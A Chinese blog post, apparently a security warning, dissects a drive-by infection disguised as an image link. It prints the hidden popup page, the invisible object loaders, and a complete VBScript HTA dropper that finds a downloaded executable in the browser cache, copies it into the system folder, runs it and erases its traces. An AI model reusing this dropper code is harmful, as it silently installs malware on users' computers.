病毒横流的网络

最新推荐文章于 2023-04-30 11:15:00 发布
最新推荐文章于 2023-04-30 11:15:00 发布
阅读量481 收藏
点赞数
文章标签： vbscript html border exe asp class

如果没有相应杀毒及防护的话，请不要轻易打开下面这个地址！！！
http://www.xx.com/o.jpg

其实这是个网页，代码如下：

<html> 
<center><img  src="aaa.jpg"></center><head><script> 
window.open('http://www.o.com/index.htm', 'pop', 
'toobar=no,location=no,resizeable=0,scrollbars=0,left=2000,top=2000,width=1,height=1'); 
</script></head> 
</html>

以下是index.htm代码片段：
<html> 
<body> 
<object data="lhxyxe.asp" weight=0 width= 0></object> 
<object data="lhxyhta.asp" weight=0 width= 0></object> 
</body><script>var tc_user="7845622";var tc_class="1";</script> 
</html>

除去后面计数器的脚本，前面有两个Asp文件。打开“lhxyhta.asp”，会下载“lhxyhta.hta”文件，

以下是lhxyhta.hta代码片段：
<object id=’wsh’ classid=’clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B’></object> 
<HTA:APPLICATION  caption="no" border="none" windowState="minimize" > 
<script LaNGUAGE="VBScript"> 
Set g_fs = CreateObject("Scripting.FileSystemObject") 
Set tf = g_fs.CreateTextFile("c:/wii.hta",true) 
tf.write "<HTA:APPLICATION  caption=" & CHR(34)& "no" & CHR(34)& " border=" & CHR(34)& "none" & CHR(34)& " showintaskbar=" & CHR(34)& "no" & CHR(34)& " >" &chr(13)&chr(10) 
tf.write "<object id=’wsh’ cl"& chr(97)&"ssid=’clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B’></object>"&chr(13)&chr(10) 
tf.write "<" & "script LANGUAGE=" & CHR(34)& "VBScript" & CHR(34)& ">"&chr(13)&chr(10) 
tf.write "on error resume next"&chr(13)&chr(10) 
tf.write "window.moveTo  0,0"&chr(13)&chr(10) 
tf.write "window.resizeTo 0,0 "&chr(13)&chr(10) 
tf.write "dim exepath"&chr(13)&chr(10) 
tf.write "Function Search(objFolder) "&chr(13)&chr(10) 
tf.write "Dim objSubFolder"&chr(13)&chr(10) 
tf.write "For Each objFile in objFolder.Files"&chr(13)&chr(10) 
tf.write "If InStr(1, objfile.name, " & CHR(34)& "lhxyxe" & CHR(34)& ", vbtextcompare) then"&chr(13)&chr(10) 
tf.write "set filecp = objg_fso.getfile(objfile.path)"&chr(13)&chr(10) 
tf.write "filecp.copy (exepath)"&chr(13)&chr(10) 
tf.write "exit for"&chr(13)&chr(10) 
tf.write "End If"&chr(13)&chr(10) 
tf.write "Next "&chr(13)&chr(10) 
tf.write "For Each objSubFolder in objFolder.SubFolders  "&chr(13)&chr(10) 
tf.write "Search objSubFolder"&chr(13)&chr(10) 
tf.write "Next"&chr(13)&chr(10) 
tf.write "End Function"&chr(13)&chr(10) 
tf.write "Set objg_fso = CreateObject(" & CHR(34)& "Scripting.FileSystemObject" & CHR(34)& ")"&chr(13)&chr(10) 
tf.write "str=WSH.regread(" & CHR(34)& "HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Shell Folders/cache" & CHR(34)& ")"&chr(13)&chr(10) 
tf.write "set tempfolder = objg_fso.getfolder(str)"&chr(13)&chr(10) 
tf.write "set othisfolder = objg_fso.GetSpecialFolder(1)" &chr(13)&chr(10) 
tf.write "exepath=othisfolder.path & "& chr(34) & "wii.exe" & chr(34) &chr(13)&chr(10) 
tf.write "search tempfolder"&chr(13)&chr(10) 
tf.write "wsh.run (exepath)"&chr(13)&chr(10) 
tf.write "wsh.run " & CHR(34)& "command.com /c del  c:/wii.hta" & CHR(34)& " ,0"&chr(13)&chr(10) 
tf.write "window.close()"&chr(13)&chr(10) 
tf.write "<" &chr(47)& "script>"&chr(13)&chr(10) 
tf.close 
wsh.run "c:/wii.hta",0 
window.close () 
</script>

打开“lhxyxe.asp”，则会下载“lhxyxe.gif”，实际这是个226KB的EXE可执行文件！

回头说说上面的“lhxyhta.hta”，将“wsh.run "c:/wii.hta",0”关键的一句执行语句去掉，
运行之，则在C:会发现“wii.hta”文件！

以下是“wii.hta”代码片段：
<HTA:APPLICATION  caption="no" border="none" showintaskbar="no" > 
<object id=’wsh’ classid=’clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B’></object> 
<script LANGUAGE="VBScript"> 
on error resume next 
window.moveTo  0,0 
window.resizeTo 0,0  
dim exepath 
Function Search(objFolder)  
Dim objSubFolder 
For Each objFile in objFolder.Files 
If InStr(1, objfile.name, "lhxyxe", vbtextcompare) then 
set filecp = objg_fso.getfile(objfile.path) 
filecp.copy (exepath) 
exit for 
End If 
Next  
For Each objSubFolder in objFolder.SubFolders   
Search objSubFolder 
Next 
End Function 
Set objg_fso = CreateObject("Scripting.FileSystemObject") 
str=WSH.regread("HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Shell Folders/cache") 
set tempfolder = objg_fso.getfolder(str) 
set othisfolder = objg_fso.GetSpecialFolder(1) 
exepath=othisfolder.path & "wii.exe" 
search tempfolder 
wsh.run (exepath) 
wsh.run "command.com /c del  c:/wii.hta" ,0 
window.close() 
</script> 

lok3166
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
网络病毒知多少
平凡之路：坚持、专注
09-22 2213
近来局域网病毒肆虐导致机房大多数电脑上不了网，影响巨大。那到底这是什么样的病毒呢？        首先病毒从类型上分为：木马病毒和蠕虫病毒。        木马病毒是一种后门程序，它潜伏在操作系统中，窃取用户资料比如QQ、网上银行密码、账号、游戏账号密码等等。蠕虫病毒相对要
网络病毒
define_us的专栏
04-29 661
根据感染路径的不同，网络病毒可以分为文件型病毒，引导型病毒，宏病毒，目录型病毒。 文件型病毒感染可执行文件，包括exe，com 引到型病毒影响磁盘引导扇区 宏病毒感染特定程序创造的文本文档 目录型病毒修改硬盘上的文件的地址。CIH是一种能偶破坏计算机系统硬件病毒 罗密欧与朱丽叶是一个2000年出现的非常典型的蠕虫病毒，他不是藏在电子邮件的附件中，而是存在正文中。一旦用户使用OUTLOOK打
计算机感染冲击波,CIH、爱虫、冲击波、熊猫烧香，对这4种网络病毒你了解多少？...
weixin_39871562的博客
07-29 2606
CIH、爱虫、冲击波、熊猫烧香，对这4种网络病毒你了解多少？现在的网络病毒能够分为三类，第一类是“蠕虫”病毒，这类型的病毒是在感染电脑后经过不停地复制自己，将电脑原来的运行和储存资源耗费掉，最终电脑由于资源耗费干净而无法运行直至死机；第二类是“进犯型”病毒，这类病毒和蠕虫病毒不一样，进犯型病毒一旦感染就会对电脑软件甚至是硬件做出破坏性的进犯，威力和破坏性极端强大。最终第三类是“木马”类病毒，这类病...
计算机病毒攻防技术研究,计算机网络病毒辐射攻防技术研究.pdf
weixin_28738173的博客
07-14 213
会议论文，完美pfd格式全国抗恶劣环境计算机第十七届学术年会论文集·防信息泄一技术·计算机网络病毒辐射攻防技术研究田■。王力，邱扬(西安电子科技大学机电工程学院，西安710071)■蔓：本文分析了计算机网络中抗病毒攻击的薄弱环节，建立了计算机网络病毒辐射攻防的模型，研究了计算机网络不同传输线的病毒耦合注入技术，并在此基础上得到计算机网络的防护半径。关嘲：计算机网络、病毒辐射、耦合注入、安全防护半径...
计算机王网络病毒的解析与防范,浅谈计算机病毒的解析与防范
weixin_32252271的博客
06-22 372
浅谈计算机病毒的解析与防范[摘要] 全球信息网络的建设和发展，对整个社会的科学与技术、经济与文化、军事带来了巨大的推动和冲击，同时也给网络的安全运行带来更多的挑战。资源共享和信息安全是一对孪生矛盾。一般认为，计算机网络系统的安全运行来自计算机病毒的攻击。因此，研究计算机病毒与防治就显得很有现实意义。本文将从计算机病毒的研究背景、计算机病毒的定义、特征、类型以及防治方面进行简单的分析和探讨。[关键词...
计算机病毒与防护：渗透测试之漏洞利用.ppt
06-10
2. **User after free**：在释放内存后继续使用已释放的内存地址，可能导致数据泄露或控制流劫持。 3. **Double free**：同一块内存被两次释放，可能导致内存管理混乱，进而允许攻击者操控内存。 **输入验证类**：...
用Vlan提高校园网网络安全.pdf
09-20
通过VLAN，可以将不同部门或功能的网络流量隔离，减少广播风暴，同时增强对用户和数据流的控制。 【计算机网络】校园网通常是由大量的计算机、服务器、路由器和交换机组成的复杂网络。安全问题包括物理层面的硬件和...
浅析高校校园计算机网络安全风险与防范策略.pdf
09-20
* 由于网络安全管理工作开展不合格以及网络使用用户安全意识不足，导致校园网中计算机病毒肆虐横流 * 校园网内版权保护意识认知不足，盗版资源泛滥 1.1 高校校园计算机网络所起到的作用 高校校园计算机网络不仅...
网络安全防护措施.doc
最新发布
06-10
三、防病毒系统要防止计算机病毒在网络上传播、扩散，需要从Internet、邮件、 文件服务器和用户终端四个方面来切断病毒源，才能保证整个网络免除计算机病毒的干 扰，避免网络上有害信息、垃圾信息的大量产生与传播...
2022年西藏口腔助理医师口腔生理学：牙齿组织的结构模拟试题推荐.pdf
02-21
5. 牙齿特征：不同类型的牙齿有其独特的特征，例如上颌侧切牙通常具有窄小圆突的唇面，深窄的舌窝，发育沟明显，细长的牙根以及卵圆形的颈横截面。 6. 口腔健康教育：口腔健康教育是口腔预防保健的重要组成部分，...
网络安全(一)_病毒、蠕虫、木马、炸弹的区别及常见的病毒
JunsIr的技术栈
11-05 7629
网络安全-木马与病毒（各类病毒区分详解） 区分 计算机木马是一种后门程序，以窃取信息为主 病毒：破坏计算机功能或数据，能够自我复制的一组计算机指令或程序代码，以破坏为主 各种病毒 系统病毒（前缀：WIN32 /PE/ W32） 蠕虫病毒（Worm.BBeagle）: 一段能进行自我传播，无须用户干预而可以自动触发执行额破坏性程序或代码 木马病毒、黑客病毒（Trojan.QQ3344）: 通过...
网络常见攻击（知识点总结）
weixin_69884785的博客
04-30 6452
SQL注入漏洞(SQLIniection)是Web开发中最常见的一种安全漏洞。SQL注入漏洞就是通过SQL参数替换形成特殊SQL操作。可以用它来从数据库获取敏感信息，或者利用数据库的特性执行添加用户，导出文件等一系列恶意操作，甚至有可能获取数据库乃至系统用户最高权限。
被电脑病毒攻击了怎么办？带你一一识破九种病毒软件！
shipinginfo的博客
05-13 2267
你对病毒软件了解吗？ 接下来我们将要介绍九种常见的病毒软件，以确保知道你被攻击时如何处理。 1.病毒 计算机病毒是大多数媒体和普通终端用户在新闻报道中所称的每一个恶意软件程序。 幸运的是，大多数恶意软件程序都不是病毒。计算机病毒修改其他合法主机文件，当受害者的文件被执行时，病毒也被执行。 纯粹的计算机病毒在今天并不常见，只占所有恶意软件的10%不到。 病毒...
网络（黑客）到底有多厉害？他们的电脑技术真的有那么可怕吗
xiangxueerfei的博客
03-02 2124
在如今这个互联网时代，我们每天都离不开手机和电脑，当手机和电脑能够正常使用的时候，我们其实并没有太大的感觉，因为我们早已习惯了，不过一旦手机电脑出现故障，那么很多人的第一反应就是怒火攻心，而目前很多时候，手机电脑出现故障，并不是硬件的问题，而是背后的网络黑客捣的鬼。在很多时候，我们也经常听到有朋友说我电脑一直都是“裸奔”，从来不装什么杀毒软件，用了这么久也从来没有出现过问题啊，不过也有一些网友真的就遇到了被坑的时候，就比如前段时间的勒索病毒。有不少网友也在好奇，这些黑客到底厉害到什么程度？
十大著名的网络黑客事件
souidc的博客
04-17 2万+
十大著名的网络黑客事件 成也网络，败也网络，但也无需刻意去害怕，不能因噎废食，积极的学习一些网络安全知识，对于网络已经很依赖的你是非常有裨益的。十、“CIH病毒”事件 CIH病毒是一位名叫陈盈豪的台湾大学生所编写的，最早随国际两大盗版集团贩卖的盗版光盘在欧美等地广泛传播，后来经互联网各网站互相转载，使其迅速传播。这在那个年代可算是一宗大灾难了，全球不计其数的电脑硬盘被垃圾数据覆盖，这...
网络病毒攻击
王如霜
01-15 2765
最近机房被感染了一种病毒，现象是
网络安全知识（一）
Ccccfour的博客
10-18 2万+
计算机病毒的破坏行为： 计算机病毒的破坏行为主要分为四类： 1、删除、修改文件。被打开文件变为一个可执行文件，原文件内容被覆盖。 2、占用系统资源。绝大多数的蠕虫病毒。疯狂在计算机网络中传播，占用网络以及本地计算机资源。 3、非法访问系统进程。主要以黑客病毒为主。通过感染计算机，然后黑客或非法用户获得对已感染机器的控制权。 4、系统瘫痪。 协议的安全性： 在网络通讯中，必须使用一定的通讯协议。由于...
6.复杂网络实验六：SIR病毒传播模型（matlab）
热门推荐
岁月的童话
05-07 4万+
一、SIR模型简介 在典型的传染病模型中，种群（Population）内的N个个体的状态可分为如下几类： (1)、易染状态S(Susceptible),即健康状态，可被感染的个体。 (2)、感染状态I(Infected),处于感染状态的个体还能够感染将康状态的个体。 (3)、移除状态R(Removed,Refractory or Recovered)，也称为免疫状态和恢复状态。一个个体经历...
计算机网络与病毒特征解析
"计算机病毒的特征和分类在网络工程师的学习中占据重要地位，它们是非授权可执行性、隐蔽性、传染性、潜伏性、破坏性和可触发性。计算机病毒可以根据破坏性、传染方式和连接方式分类。此外，章节还涵盖了网络及其...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值